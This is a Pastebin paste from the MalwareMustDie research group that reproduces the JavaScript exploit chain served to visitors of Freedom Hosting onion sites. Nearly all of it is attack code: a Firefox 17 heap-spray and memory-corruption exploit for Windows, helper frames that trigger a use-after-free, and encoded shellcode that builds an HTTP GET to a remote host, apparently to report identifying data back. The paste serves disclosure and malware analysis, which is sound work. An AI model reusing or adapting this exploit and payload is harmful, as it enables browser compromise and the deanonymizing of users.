MalwareMustDie

Freedom Hosting FBI Malware Infector (ForPayload) JavaScript

Aug 12th, 2014
6,603
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # MalwareMustDie!
  2. # This is the malicious Javascript codes functioned as "infector" to the user redirected -
  3. # from the JS codes injected to the Freedom Hosting site.
  4. # This script contains the payload to infect the victim.
  5. # Poc, is the URL of:
  6. # http://nl7qbezu7pqsuone.onion?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0
  7. # Refer to the paste: http://pastebin.com/bu2Ya0n6
  8.  
  9. //infector URL : nl7qbezu7pqsuone.onion/?requestID=203f1a01-6bc7-4c8b-b0be-2726a7a3cbd0
  10.  
  11. <html>
  12. <body>
  13. <iframe frameborder=0  border=0 height=1 width=1 id="iframe"> </iframe>
  14. </body>
  15. </html>
  16.  
  17. <script>
  18.  
  19. var var1=0xB0;
  20. var var2 = new Array(var1);
  21. var var3 = new Array(var1);
  22. var var4 = new Array(var1);
  23.  
  24. var var5=0xFF004;
  25. var var6=0x3FC01;
  26.  
  27. var var7=0x60000000;
  28. var var8=0x18000000;
  29.  
  30.  
  31. var var9=1;
  32.  
  33. var var10 = 0x12000000;
  34. var var11 = 0;
  35. var var12=0;
  36.  
  37. var var13 =0;
  38.  
  39. function df()
  40. {
  41.         if(var12==0)
  42.         {
  43.                 return 0x00000000;
  44.         }
  45.         var var14 = var10 + 0x00010000 * var11 + 0x0000002B;
  46.  
  47.         if( var9 == 1 || var9 == 2)
  48.                 return ( var14 - var12);
  49.         else
  50.                 return 0x00000000;
  51. }
  52.  
  53. function b()
  54. {
  55.         var version = al();
  56.         if(version <17)
  57.         {
  58.                 window.location.href="content_1.html";
  59.         }
  60.         if( version >=17 && version <18 )
  61.                 var12 = 0xE8;
  62.         return ;
  63. }
  64.  
  65. function c()
  66. {
  67.         var iframe=document.getElementById("iframe");
  68.         iframe.src="content_2.html";
  69. }
  70.  
  71. function d()
  72. {
  73.         for(var j=0;j<var1;j++)
  74.         {
  75.                 if( j<var1/8 || j==var1-1)
  76.                 {
  77.                         var tabb = new Array(0x1ED00);
  78.                         var4[j]=tabb;
  79.                         for(i=0;i<0x1ED00;i++)
  80.                         {
  81.                                 var4[j][i]=0x11559944;
  82.                         }
  83.                 }
  84.                 var2[j]= new ArrayBuffer(var5);
  85.         }
  86.         for(var j=0;j<var1;j++)
  87.         {
  88.                 var3[j]= new Int32Array(var2[j],0,var6);
  89.                 var3[j][0]=0x11336688;
  90.  
  91.                 for(var i=1;i<16;i++)
  92.                 {
  93.                         var3[j][0x4000*i] = 0x11446688;
  94.                 }
  95.  
  96.         }
  97.  
  98.         for(var j=0;j<var1;j++)
  99.         {
  100.                 if(typeof var4[j] !="undefined")
  101.                 {
  102.                         var4[j][0]=0x22556611;
  103.                 }
  104.         }
  105. }
  106.  
  107. function e(view)
  108. {
  109.         var i=0;
  110.         for(i=0;i<0x400;i++)
  111.         {
  112.                 view[i] = var13+0x1010 ;
  113.         }
  114.         view[0x0]=var13+0x1010;
  115.         view[0x44]=0x0;
  116.         view[0x45]=0x0;
  117.         view[0x400-4]=var13+0x1010;
  118.         view[0x400]=0x00004004;
  119.         view[0x401]=0x7FFE0300;
  120. }
  121.  
  122. function f(var15,view,var16)
  123. {
  124.         var magneto = "";
  125.                                 var magneto = ("\ufc60\u8ae8"+"\u0000\u6000"+"\ue589\ud231"+"\u8b64\u3052"+"\u528b\u8b0c"+"\u1452\u728b"+"\u0f28\u4ab7"+"\u3126\u31ff"+"\uacc0\u613c"+"\u027c\u202c"+"\ucfc1\u010d"+"\ue2c7\u52f0"+"\u8b57\u1052"+"\u428b\u013c"+"\u8bd0\u7840"+"\uc085\u4a74"+"\ud001\u8b50"+"\u1848\u588b"+"\u0120\ue3d3"+"\u493c\u348b"+"\u018b\u31d6"+"\u31ff\uacc0"+"\ucfc1\u010d"+"\u38c7\u75e0"+"\u03f4\uf87d"+"\u7d3b\u7524"+"\u58e2\u588b"+"\u0124\u66d3"+"\u0c8b\u8b4b"+"\u1c58\ud301"+"\u048b\u018b"+"\u89d0\u2444"+"\u5b24\u615b"+"\u5a59\uff51"+"\u58e0\u5a5f"+"\u128b\u86eb"+"\u5d05\ubd81"+"\u02e9\u0000"+"\u4547\u2054"+"\u7075\u858d"+"\u02d1\u0000"+"\u6850\u774c"+"\u0726\ud5ff"+"\uc085\u5e74"+"\u858d\u02d8"+"\u0000\u6850"+"\u774c\u0726"+"\ud5ff\uc085"+"\u4c74\u90bb"+"\u0001\u2900"+"\u54dc\u6853"+"\u8029\u006b"+"\ud5ff\udc01"+"\uc085\u3675"+"\u5050\u5050"+"\u5040\u5040"+"\uea68\udf0f"+"\uffe0\u31d5"+"\uf7db\u39d3"+"\u74c3\u891f"+"\u6ac3\u8d10"+"\ue1b5\u0002"+"\u5600\u6853"+"\ua599\u6174"+"\ud5ff\uc085"+"\u1f74\u8dfe"+"\u0089\u0000"+"\ue375\ubd80"+"\u024f\u0000"+"\u7401\ue807"+"\u013b\u0000"+"\u05eb\u4de8"+"\u0001\uff00"+"\ub8e7\u0100"+"\u0000\uc429"+"\ue289\u5052"+"\u6852\u49b6"+"\u01de\ud5ff"+"\u815f\u00c4"+"\u0001\u8500"+"\u0fc0\uf285"+"\u0000\u5700"+"\uf9e8\u0000"+"\u5e00\uca89"+"\ubd8d\u02e9"+"\u0000\uebe8"+"\u0000\u4f00"+"\ufa83\u7c20"+"\uba05\u0020"+"\u0000\ud189"+"\uf356\ub9a4"+"\u000d\u0000"+"\ub58d\u02c4"+"\u0000\ua4f3"+"\ubd89\u024b"+"\u0000\u565e"+"\ua968\u3428"+"\uff80\u85d5"+"\u0fc0\uaa84"+"\u0000\u6600"+"\u488b\u660a"+"\uf983\u0f04"+"\u9c82\u0000"+"\u8d00\u0c40"+"\u008b\u088b"+"\u098b\u00b8"+"\u0001\u5000"+"\ue789\uc429"+"\ue689\u5657"+"\u5151\u4868"+"\ud272\uffb8"+"\u85d5\u81c0"+"\u04c4\u0001"+"\u0f00\u0fb7"+"\uf983\u7206"+"\ub96c\u0006"+"\u0000\u10b8"+"\u0000\u2900"+"\u89c4\u89e7"+"\ud1ca\u50e2"+"\u3152\u8ad2"+"\u8816\u24d0"+"\uc0f0\u04e8"+"\u093c\u0477"+"\u3004\u02eb"+"\u3704\u0788"+"\u8847\u24d0"+"\u3c0f\u7709"+"\u0404\ueb30"+"\u0402\u8837"+"\u4707\ue246"+"\u59d4\ucf29"+"\ufe89\u0158"+"\u8bc4\u4bbd"+"\u0002\uf300"+"\uc6a4\u4f85"+"\u0002\u0100"+"\u2ee8\u0000"+"\u3100\u50c0"+"\u2951\u4fcf"+"\u5357\uc268"+"\u38eb\uff5f"+"\u53d5\u7568"+"\u4d6e\uff61"+"\ue9d5\ufec8"+"\uffff\uc931"+"\ud1f7\uc031"+"\uaef2\ud1f7"+"\uc349\u0000"+"\u0000\u8d00"+"\ue9bd\u0002"+"\ue800\uffe4"+"\uffff\ub94f"+"\u004f\u0000"+"\ub58d\u0275"+"\u0000\ua4f3"+"\ubd8d\u02e9"+"\u0000\ucbe8"+"\uffff\uc3ff"+"\u0a0d\u6f43"+"\u6e6e\u6365"+"\u6974\u6e6f"+"\u203a\u656b"+"\u7065\u612d"+"\u696c\u6576"+"\u0a0d\u6341"+"\u6563\u7470"+"\u203a\u2f2a"+"\u0d2a\u410a"+"\u6363\u7065"+"\u2d74\u6e45"+"\u6f63\u6964"+"\u676e\u203a"+"\u7a67\u7069"+"\u0a0d\u0a0d"+"\u8300\u0ec7"+"\uc931\ud1f7"+"\uc031\uaef3"+"\uff4f\u0de7"+"\u430a\u6f6f"+"\u696b\u3a65"+"\u4920\u3d44"+"\u7377\u5f32"+"\u3233\u4900"+"\u4850\u504c"+"\u5041\u0049"+"\u0002\u5000"+"\ude41\u36ca"+"\u4547\u2054"+"\u312f\u3866"+"\u6134\u3165"+"\u2d64\u6230"+"\u3531\u342d"+"\u6434\u2d63"+"\u3939\u3336"+"\u382d\u6362"+"\u3739\u3131"+"\u3430\u3935"+"\u2030\u5448"+"\u5054\u312f"+"\u312e\u0a0d"+"\u6f48\u7473"+"\u203a\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u0000"+"\u0000\u9000"+"");
  126.         var var29 = magneto;
  127.         var var17 = "\u9060";
  128.         var var18 = "\u9061";
  129.         var var19 = "\uC481\u0000\u0008" ;
  130.         var var20 = "\u2589\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  131.         var var21="\u258B\u3000"+String.fromCharCode((var13 >> 16)  & 0x0000FFFF);
  132.         var var22 = "\uE589";
  133.         var var23 ="\uC3C9";
  134.         var var24  = "\uE889";
  135.         var24 += "\u608D\u90C0";
  136.  
  137.         var var25 = var10 + 0x00010000 * var11 + 0x00000030 + 0x00100000;
  138.         var var26 = var25 + var16*4
  139.  
  140.         var var27 =""
  141.         var27 += "\uB890\u2020\u2020";
  142.         var27 += "\uA390"+ae(var26+0x00);
  143.         var27 += "\uA390"+ae(var26+0x04);
  144.         var27 += "\uA390"+ae(var26+0x08);
  145.         var27 += "\uA390"+ae(var26+0x0C);
  146.  
  147.         var var28  = var17;
  148.         var28 += var20;
  149.         var28 += var19;
  150.         var28 += var22;
  151.         var28 += var27;
  152.         var28 += var29;
  153.     var28 += var21;
  154.     var28 += var18;
  155.     var28 += var23;
  156.         var var29Array = new Array();
  157.         var29Array=ag(var28);
  158.  
  159.         var var29Ad = var13+0x5010;
  160.         var i=0;
  161.         var j=0;
  162.         var var30=var13+0x4048;
  163.         var var31 = new Array();
  164.  
  165.         var31[0]=var30;
  166.         var31[1]=var30;
  167.         var31[2]=var30;
  168.         var31[3]=var15[1];
  169.         var31[4]=var29Ad;
  170.         var31[5]=0xFFFFFFFF;
  171.         var31[6]=var13+0x4044;
  172.         var31[7]=var13+0x4040;
  173.         var31[8]=0x00000040;
  174.         var31[9]=var13+0x4048;
  175.         var31[10]=0x00040000;
  176.         var31[11]=var29Ad;
  177.         var31[12]=var13+0x301C;
  178.  
  179.         for(var i=0 ; i < 0x140 ; i++)
  180.         {
  181.                 var31[i+15]=var15[0];
  182.         }
  183.         var var32 = 0x3F8;
  184.         view[0x800+0+var32]=var13+0x4018;
  185.         view[0x800+1+var32]=var13+0x4018;
  186.         for(var i=2 ; i < var31.length  ; i++)
  187.         {
  188.                 view[0x800+i+var32]=  0x41414141;
  189.         }
  190.         for(var i=0 ; i < var31.length  ; i++)
  191.         {
  192.                 view[0xC02+i+var32]=  var31[i];
  193.         }
  194.         for(var i=0 ; i < var29Array.length ; i++)
  195.         {
  196.                 view[0x1000 + i+var32] = var29Array[i];
  197.         }
  198.  
  199. }
  200.  
  201. function g(var50,view)
  202. {
  203.         var k = h(var50,view);
  204.         var j=0;
  205.         if( k < 0 )
  206.                 return -1;
  207.         view[0x404+k]=var13+0x3010;
  208.         return 1;
  209. }
  210.  
  211. function h(var50,view)
  212. {
  213.         var address=0;
  214.         var u=0;
  215.         var memory="";
  216.         var var55=0;
  217.         for( u =7; u >=4 ;u--)
  218.         {
  219.                 address=view[0x404+u];
  220.                 if( address > 0x000A0000 && address < 0x80000000 )
  221.                 {
  222.                         memory = i(address,0x48,var50,view);
  223.                         var55=af(memory[0x14]+memory[0x15]);
  224.                         if(var55==address)
  225.                         {
  226.                                 return u;
  227.                         }
  228.                 }
  229.         }
  230.         return -1;
  231. }
  232.  
  233. function i(address,size,var50,view)
  234. {
  235.         var var56 = size/2;
  236.         var56 = var56*0x10 +0x04;
  237.         view[0x400]=var56;
  238.         view[0x401]=address;
  239.         return var4[var50][0];
  240. }
  241.  
  242. function j(memory,view)
  243. {
  244.         var intArray=ag(memory);
  245.         for(var i=0 ; i < intArray.length  ; i++)
  246.         {
  247.                 view[0x404+i]=intArray[i];
  248.         }
  249. }
  250.  
  251. function k()
  252. {
  253.         for(var j=0;j<var1;j++)
  254.         {
  255.                 if(var2[j].byteLength!=var5)
  256.                 {
  257.                         return j;
  258.                 }
  259.         }
  260.         return -1;
  261. }
  262.  
  263. function l(view,var58)
  264. {
  265.         view[var58] = var13 + 0x1030;
  266.         view[var58+1] = 0xFFFFFF85;
  267. }
  268.  
  269. function m(view,var58)
  270. {
  271.         view[var58]=0x00000000;
  272.         for(var j=0;j<var1;j++)
  273.         {
  274.                 if(typeof var4[j] !="undefined")
  275.                 {
  276.                         if(var4[j][0]!=0x22556611)
  277.                                 return j;
  278.                 }
  279.         }
  280.         return -1
  281. }
  282.  
  283. function n(view,firstvar58)
  284. {
  285.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;
  286.         var var58=0;
  287.         for(var i=0;i<200;i++)
  288.         {
  289.                 if(view[var58] != 0x11336688)
  290.                 {
  291.                         if(view[var58] == 0x22556611 )
  292.                                 return  var58;
  293.                         else
  294.                                 return -1;
  295.                 }
  296.                 if(var58==0)
  297.                 {
  298.                         var58 = firstvar58;
  299.                 }else{
  300.                         var var59=view[var58-0x0C];
  301.                         var58 = (var59 - var57)/4;
  302.                 }
  303.         }
  304.         return -1;
  305. }
  306.  
  307. function o(var60)
  308. {
  309.         var view  = new Int32Array(var2[var60],0,0x00040400);
  310.  
  311.         var var59 = view[0x00100000/4-0x0C];
  312.         var var57 = var10 + 0x00100000 + 0x00010000 * var11;
  313.  
  314.         return ((var59 - var57)/4);
  315. }
  316.  
  317. function p()
  318. {
  319.         for(var j=0;j<var1;j++)
  320.         {
  321.                 for(var i=1;i<16;i++)
  322.                 {
  323.                         if(var3[j][i*0x4000-0x02]==0x01000000)
  324.                         {
  325.                                 return -i;
  326.                         }
  327.                 }
  328.         }
  329.         return 0;
  330. }
  331.  
  332. function q(var60)
  333. {
  334.         var view  = new Int32Array(var2[var60],0,0x00040400);
  335.         view[0x00100000/4-0x02]=var7;
  336.         if(var2[var60+1].byteLength==var7)
  337.                 return var60+1;
  338.         return -1;
  339. }
  340.  
  341. function r(var60)
  342. {
  343.         var view  = new Int32Array(var2[var60],0,0x00040400);
  344.         view[0x00100000/4-0x02]=var5;
  345. }
  346.  
  347. function t()
  348. {
  349.         if(typeof sessionStorage.tempStor !="undefined")
  350.                 return false;
  351.         sessionStorage.tempStor="";
  352.         return true;
  353. }
  354.  
  355. function u()
  356. {
  357.         if( t() == true )
  358.         {
  359.                 var9 = 1;
  360.                 b();
  361.                 d();
  362.                 c();
  363.         }else{
  364.                 return ;
  365.         }
  366. }
  367.  
  368. function v()
  369. {
  370.         if(k() == -1)
  371.         {
  372.                 var11 = p();
  373.                 var9 = 2;
  374.                 c();
  375.         }else{
  376.                 x();
  377.         }
  378. }
  379.  
  380. function w()
  381. {
  382.         if(var9==1)
  383.                 v();
  384.         else
  385.                 x();
  386. }
  387.  
  388. function x()
  389. {
  390.  
  391.         var var60 = k();
  392.         if(var60==-1)
  393.                 return ;
  394.  
  395.         var nextvar60 = q(var60);
  396.         if(nextvar60==-1)
  397.                 return ;
  398.  
  399.         var var61 = o(var60);
  400.         var var62  = new Int32Array(var2[nextvar60],0,var8);
  401.         var var58 = n(var62,var61);
  402.         if(var58==-1)
  403.                 return ;
  404.  
  405.         var var50 = m(var62,var58);
  406.  
  407.         var13 = var10 + 0x00100000 + 0x00010000 * var11;
  408.         e(var62);
  409.  
  410.         l(var62,var58);
  411.  
  412.         var var64 = var4[var50][0];
  413.  
  414.         ac(var64,var50,var62,var58,var60);
  415. }
  416.  
  417. function y(index)
  418. {
  419.         var4[index][1]= document.createElement('span') ;
  420. }
  421.  
  422. function z(index,index2)
  423. {
  424.         var4[index][1].innerHTML;
  425. }
  426.  
  427. function aa(view,var63)
  428. {
  429.         return view[var63];
  430. }
  431.  
  432. function ab(address,view,var63)
  433. {
  434.         view[var63]=address;
  435. }
  436.  
  437.  
  438. function ac(var64,var50,var62,var58,var60)
  439. {
  440.         var var15=ah(var64);
  441.  
  442.         f(var15,var62,var58);
  443.  
  444.         y(var50);
  445.         var var66 = aa(var62,var58+2);
  446.  
  447.         var var67 = i(var66,0x40,var50,var62) ;
  448.         j(var67,var62);
  449.  
  450.         g(var50,var62);
  451.         ab(var13+0x1040 ,var62,var58+2);
  452.  
  453.         r(var60)
  454.         setTimeout(ad,1000);
  455.         z(var50);
  456. }
  457.  
  458.  
  459. function ad()
  460. {
  461.         for(var j=0;j<var1;j++)
  462.         {
  463.                 delete var3[j]
  464.                 var3[j]= null;
  465.  
  466.                 delete var2[j];
  467.                 var2[j] = null;
  468.  
  469.                 if(typeof var4[j] !="undefined")
  470.                 {
  471.                         delete var4[j];
  472.                         var4[j] = null;
  473.                 }
  474.         }
  475.         delete var2;
  476.         delete var3;
  477.         delete var4;
  478.         var2=null;
  479.         var3=null;
  480.         var4=null;
  481. }
  482.  
  483. function ae(int32)
  484.  {
  485.     var var68 = String.fromCharCode((int32)& 0x0000FFFF);
  486.     var var69 = String.fromCharCode((int32 >> 16)  & 0x0000FFFF);
  487.     return var68+var69;
  488. }
  489.  
  490.  
  491. function af(string)
  492. {
  493.     var var70 = string.charCodeAt(0);
  494.     var var71 = string.charCodeAt(1);
  495.     var var72 = (var71 << 16) + var70;
  496.         return var72;
  497. }
  498.  
  499. function ag(string)
  500. {
  501.         if(string.length%2!=0)
  502.                 string+="\u9090";
  503.         var intArray= new Array();
  504.         for(var i=0 ; i*2 < string.length; i++ )
  505.                 intArray[i]=af(string[i*2]+string[i*2+1]);
  506.         return intArray;
  507. }
  508.  
  509.  
  510. function ah(var73)
  511. {
  512.         var var74 = var73.substring(0,2);
  513.     var var70 = var74.charCodeAt(0);
  514.     var var71 = var74.charCodeAt(1);
  515.     var var75 = (var71 << 16) + var70;
  516.     if (var75 == 0)
  517.     {
  518.         var var76 = var73.substring(32, 34);
  519.         var var70 = var76.charCodeAt(0);
  520.         var var71 = var76.charCodeAt(1);
  521.         var75 = (var71 << 16) + var70;
  522.     }
  523.     var var15 = am(var75);
  524.     if (var15 == -1)
  525.     {
  526.         return;
  527.     }
  528.     return var15
  529. }
  530.  
  531. function aj(version)
  532. {
  533.         var i = navigator.userAgent.indexOf("Windows NT");
  534.         if (i != -1)
  535.                 return true;
  536.         return false;
  537. }
  538.  
  539. function ak()
  540. {
  541.         var ua = navigator.userAgent;
  542.         var browser = ua.substring(0, ua.lastIndexOf("/"));
  543.         browser = browser.substring(browser.lastIndexOf(" ") + 1);
  544.         if (browser != "Firefox")
  545.                 return -1;
  546.  
  547.         var version = ua.substring(ua.lastIndexOf("/") + 1);
  548.         version = parseInt(version.substring(0, version.lastIndexOf(".")));
  549.         return version;
  550. }
  551.  
  552. function al()
  553. {
  554.         version = ak();
  555.  
  556.         if (!aj(version))
  557.                 return -1;
  558.         return version;
  559. }
  560.  
  561.  
  562. function am(var77)
  563. {
  564.     var var15 = new Array(2);
  565.      if (var77 % 0x10000 == 0xE510)
  566.      {
  567.         var78 = var77 - 0xE510;
  568.         var15[0] = var78 + 0xE8AE;
  569.         var15[1] = var78 + 0xD6EE;
  570.     }
  571.     else if (var77 % 0x10000 == 0x9A90)
  572.     {
  573.         var78 = var77 - 0x69A90;
  574.         var15[0] = var78 + 0x6A063;
  575.         var15[1] = var78 + 0x68968;
  576.     }
  577.     else if (var77 % 0x10000 == 0x5E70)
  578.     {
  579.         var78 = var77 - 0x65E70;
  580.         var15[0] = var78 + 0x66413;
  581.         var15[1] = var78 + 0x64D34;
  582.     }
  583.     else if (var77 % 0x10000 == 0x35F3)
  584.     {
  585.         var78 = var77 - 0x335F3;
  586.         var15[0] = var78 + 0x4DE13;
  587.         var15[1] = var78 + 0x49AB8;
  588.     }
  589.     else if (var77 % 0x10000 == 0x5CA0)
  590.     {
  591.         var78 = var77 - 0x65CA0;
  592.         var15[0] = var78 + 0x66253;
  593.         var15[1] = var78 + 0x64B84;
  594.     }
  595.     else if (var77 % 0x10000 == 0x5CD0)
  596.     {
  597.         var78 = var77 - 0x65CD0;
  598.         var15[0] = var78 + 0x662A3;
  599.         var15[1] = var78 + 0x64BA4;
  600.  
  601.     }
  602.     else if (var77 % 0x10000 == 0x6190)
  603.     {
  604.         var78 = var77 - 0x46190;
  605.         var15[0] = var78 + 0x467D3;
  606.         var15[1] = var78 + 0x45000;
  607.  
  608.     }
  609.     else if (var77 % 0x10000 == 0x9CB9)
  610.     {
  611.         var78 = var77 - 0x29CB9;
  612.         var15[0] = var78 + 0x29B83;
  613.         var15[1] = var78 + 0xFFC8;
  614.     }
  615.     else if (var77 % 0x10000 == 0x9CE9)
  616.     {
  617.         var78 = var77 - 0x29CE9;
  618.         var15[0] = var78 + 0x29BB3;
  619.         var15[1] = var78 + 0xFFD8;
  620.     }
  621.     else if (var77 % 0x10000 == 0x70B0)
  622.     {
  623.         var78 = var77 - 0x470B0;
  624.         var15[0] = var78 + 0x47733;
  625.         var15[1] = var78 + 0x45F18;
  626.     }
  627.     else if (var77 % 0x10000 == 0x7090)
  628.     {
  629.         var78 = var77 - 0x47090;
  630.         var15[0] = var78 + 0x476B3;
  631.         var15[1] = var78 + 0x45F18;
  632.     }
  633.     else if (var77 % 0x10000 == 0x9E49)
  634.     {
  635.         var78 = var77 - 0x29E49;
  636.         var15[0] = var78 + 0x29D13;
  637.         var15[1] = var78 + 0x10028;
  638.     }
  639.     else if (var77 % 0x10000 == 0x9E69)
  640.     {
  641.         var78 = var77 - 0x29E69;
  642.         var15[0] = var78 + 0x29D33;
  643.         var15[1] = var78 + 0x10018;
  644.     }
  645.  
  646.     else if (var77 % 0x10000 == 0x9EB9)
  647.     {
  648.         var78 = var77 - 0x29EB9;
  649.         var15[0] = var78 + 0x29D83;
  650.         var15[1] = var78 + 0xFFC8;
  651.     }
  652.     else
  653.     {
  654.         return -1;
  655.     }
  656.  
  657.     return var15;
  658. }
  659.  
  660. window.addEventListener("onload", u(),true);
  661.  
  662. </script>
  663.  
  664. # Ref: http://www.twitlonger.com/show/n_1rlo0uu
  665. # [...] Calls are made between the frames to further obfuscate the control flow. The 'content_2.html' and 'content_3.html'
  666. # files are only served up if the request "looks like" Firefox and has a correct Referer header. The 'content_2.html'
  667. # is loaded from the main exploit iframe and in turn loads 'content_3.html'.
  668.  
  669. # This is the content_2.html
  670. # URL: nl7qbezu7pqsuone.onion/content_2.html:
  671.  
  672. <html><body></body></html><script>var y="?????",url=window.location.href;if(0>url.indexOf(y)){var iframe=document.createElement("iframe");iframe.src="content_3.html";document.body.appendChild(iframe)}else parent.w();function df(){return parent.df()};</script>
  673.  
  674. // beautified:
  675.  
  676. <html>
  677.  
  678. <body></body>
  679.  
  680. </html>
  681. <script>
  682.     var y = "?????",
  683.         url = window.location.href;
  684.     if (0 > url.indexOf(y)) {
  685.         var iframe = document.createElement("iframe");
  686.         iframe.src = "content_3.html";
  687.         document.body.appendChild(iframe)
  688.     } else parent.w();
  689.  
  690.     function df() {
  691.         return parent.df()
  692.     };
  693. </script>
  694.  
  695.  
  696. # This is the content_3.html
  697. # URL: nl7qbezu7pqsuone.onion/content_3.html:
  698.  
  699. <script>var y="?????",z="",z=z+"<body",z=z+">",z=z+"<img",z=z+" height='1' width='1' src='error.html'",z=z+' onerror="javascript: ',z=z+("window.location.href='content_2.html"+y+"';\" "),z=z+">",z=z+"</body",z=z+">",flag=!1,var83=0;
  700. function b(){for(var e=Array(1024),d=Array(1024),c=0;1024>c;c++)e[c]=new ArrayBuffer(180);for(c=0;1024>c;c++)d[c]=new Int32Array(e[c],0,45),d[c][9]=var83;return d}function a(){!1==flag&&(flag=!0,window.stop());window.stop();b();window.parent.frames[0].frameElement.ownerDocument.write(z);b()}var83=parent.df();0!=var83&&document.addEventListener("readystatechange",a,!1);
  701. </script>
  702.  
  703. // beautified:
  704.  
  705. <script>
  706.     var y = "?????",
  707.         z = "",
  708.         z = z + "<body",
  709.         z = z + ">",
  710.         z = z + "<img",
  711.         z = z + " height='1' width='1' src='error.html'",
  712.         z = z + ' onerror="javascript: ',
  713.         z = z + ("window.location.href='content_2.html" + y + "';\" "),
  714.         z = z + ">",
  715.         z = z + "</body",
  716.         z = z + ">",
  717.         flag = !1,
  718.         var83 = 0;
  719.  
  720.     function b() {
  721.         for (var e = Array(1024), d = Array(1024), c = 0; 1024 > c; c++) e[c] = new ArrayBuffer(180);
  722.         for (c = 0; 1024 > c; c++) d[c] = new Int32Array(e[c], 0, 45), d[c][9] = var83;
  723.         return d
  724.     }
  725.  
  726.     function a() {
  727.         !1 == flag && (flag = !0, window.stop());
  728.         window.stop();
  729.         b();
  730.         window.parent.frames[0].frameElement.ownerDocument.write(z);
  731.         b()
  732.     }
  733.     var83 = parent.df();
  734.     0 != var83 && document.addEventListener("readystatechange", a, !1);
  735. </script>
  736.  
  737. ----
  738. #MAlwareMustDie!!
Add Comment
Please, Sign In to add comment